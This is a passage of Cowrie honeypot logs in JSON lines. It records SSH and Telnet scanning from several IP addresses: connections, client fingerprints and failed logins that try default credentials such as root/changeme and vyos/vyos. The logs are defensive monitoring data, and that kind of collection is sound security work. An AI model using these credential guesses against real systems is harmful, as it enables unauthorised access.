{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":45196,"dst_ip":"159.203.135.109","dst_port":22,"session":"627d3900f603","protocol":"ssh","message":"New connection: 176.65.132.129:45196 (159.203.135.109:22) [session: 627d3900f603]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:31:54.261536Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:31:54.265893Z","src_ip":"176.65.132.129","session":"627d3900f603","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:31:54.347610Z","src_ip":"176.65.132.129","session":"627d3900f603","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"changeme","message":"login attempt [root/changeme] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:31:54.595181Z","src_ip":"176.65.132.129","session":"627d3900f603","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":45000,"dst_ip":"10.17.0.5","dst_port":23,"session":"1d285db8971f","protocol":"telnet","message":"New connection: 152.42.224.71:45000 (10.17.0.5:23) [session: 1d285db8971f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:31:55.420998Z"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:31:55.679533Z","src_ip":"176.65.132.129","session":"627d3900f603","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":44512,"dst_ip":"10.17.0.5","dst_port":23,"session":"f0fb2eb3ecca","protocol":"telnet","message":"New connection: 152.42.224.71:44512 (10.17.0.5:23) [session: f0fb2eb3ecca]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:31:56.419331Z"}
{"eventid":"cowrie.session.connect","src_ip":"122.166.167.154","src_port":60296,"dst_ip":"159.203.135.109","dst_port":22,"session":"716d6f443f01","protocol":"ssh","message":"New connection: 122.166.167.154:60296 (159.203.135.109:22) [session: 716d6f443f01]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:31:56.934284Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:31:56.939256Z","src_ip":"122.166.167.154","session":"716d6f443f01","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:31:57.201389Z","src_ip":"122.166.167.154","session":"716d6f443f01","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":34948,"dst_ip":"159.203.135.109","dst_port":22,"session":"b43cff28f0ea","protocol":"ssh","message":"New connection: 176.65.132.129:34948 (159.203.135.109:22) [session: b43cff28f0ea]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:31:57.717573Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:31:57.722371Z","src_ip":"176.65.132.129","session":"b43cff28f0ea","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:31:57.804527Z","src_ip":"176.65.132.129","session":"b43cff28f0ea","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"123123","message":"login attempt [admin/123123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:31:58.050683Z","src_ip":"176.65.132.129","session":"b43cff28f0ea","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1966","message":"login attempt [root/1966] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:31:58.275725Z","src_ip":"122.166.167.154","session":"716d6f443f01","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:31:59.144973Z","src_ip":"176.65.132.129","session":"b43cff28f0ea","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:31:59.546225Z","src_ip":"122.166.167.154","session":"716d6f443f01","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":44522,"dst_ip":"10.17.0.5","dst_port":23,"session":"f38a60198385","protocol":"telnet","message":"New connection: 152.42.224.71:44522 (10.17.0.5:23) [session: f38a60198385]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:31:59.606591Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":44528,"dst_ip":"10.17.0.5","dst_port":23,"session":"353dc6b06b79","protocol":"telnet","message":"New connection: 152.42.224.71:44528 (10.17.0.5:23) [session: 353dc6b06b79]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:32:00.942188Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":34974,"dst_ip":"159.203.135.109","dst_port":22,"session":"2c2164ce3905","protocol":"ssh","message":"New connection: 176.65.132.129:34974 (159.203.135.109:22) [session: 2c2164ce3905]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:32:01.162258Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:32:01.183689Z","src_ip":"176.65.132.129","session":"2c2164ce3905","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:32:01.247097Z","src_ip":"176.65.132.129","session":"2c2164ce3905","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"mysql","password":"mysql123","message":"login attempt [mysql/mysql123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:32:01.685865Z","src_ip":"176.65.132.129","session":"2c2164ce3905","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:32:02.771492Z","src_ip":"176.65.132.129","session":"2c2164ce3905","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":7.451063871383667,"message":"Connection lost after 7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:32:02.871935Z","src_ip":"152.42.224.71","session":"1d285db8971f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.249.28.115","src_port":35220,"dst_ip":"159.203.135.109","dst_port":22,"session":"b2dea69c7e3a","protocol":"ssh","message":"New connection: 23.249.28.115:35220 (159.203.135.109:22) [session: b2dea69c7e3a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:32:03.477243Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:32:03.651131Z","src_ip":"23.249.28.115","session":"b2dea69c7e3a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:32:03.842185Z","src_ip":"23.249.28.115","session":"b2dea69c7e3a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":44534,"dst_ip":"10.17.0.5","dst_port":23,"session":"3b3a4e582ca7","protocol":"telnet","message":"New connection: 152.42.224.71:44534 (10.17.0.5:23) [session: 3b3a4e582ca7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:32:04.419452Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":34998,"dst_ip":"159.203.135.109","dst_port":22,"session":"42a8237385a6","protocol":"ssh","message":"New connection: 176.65.132.129:34998 (159.203.135.109:22) [session: 42a8237385a6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:32:04.565478Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:32:04.569871Z","src_ip":"176.65.132.129","session":"42a8237385a6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Aaa123321","message":"login attempt [root/Aaa123321] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:32:04.602504Z","src_ip":"23.249.28.115","session":"b2dea69c7e3a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:32:04.651692Z","src_ip":"176.65.132.129","session":"42a8237385a6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"vyos","password":"vyos","message":"login attempt [vyos/vyos] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:32:04.972581Z","src_ip":"176.65.132.129","session":"42a8237385a6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:32:05.799180Z","src_ip":"23.249.28.115","session":"b2dea69c7e3a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:32:06.057158Z","src_ip":"176.65.132.129","session":"42a8237385a6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":59500,"dst_ip":"10.17.0.5","dst_port":23,"session":"666c87b9e1ee","protocol":"telnet","message":"New connection: 152.42.224.71:59500 (10.17.0.5:23) [session: 666c87b9e1ee]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:32:06.808082Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":59508,"dst_ip":"10.17.0.5","dst_port":23,"session":"90274c4e577b","protocol":"telnet","message":"New connection: 152.42.224.71:59508 (10.17.0.5:23) [session: 90274c4e577b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:32:07.821203Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":53294,"dst_ip":"159.203.135.109","dst_port":22,"session":"99a6eeafdbe7","protocol":"ssh","message":"New connection: 176.65.132.129:53294 (159.203.135.109:22) [session: 99a6eeafdbe7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:32:07.954659Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:32:07.959838Z","src_ip":"176.65.132.129","session":"99a6eeafdbe7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:32:08.041964Z","src_ip":"176.65.132.129","session":"99a6eeafdbe7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user6","password":"user6","message":"login attempt [user6/user6] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:32:08.287550Z","src_ip":"176.65.132.129","session":"99a6eeafdbe7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:32:09.379841Z","src_ip":"176.65.132.129","session":"99a6eeafdbe7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":53302,"dst_ip":"159.203.135.109","dst_port":22,"session":"afc11e44bd2a","protocol":"ssh","message":"New connection: 176.65.132.129:53302 (159.203.135.109:22) [session: afc11e44bd2a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:32:11.231756Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:32:11.338102Z","src_ip":"176.65.132.129","session":"afc11e44bd2a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@o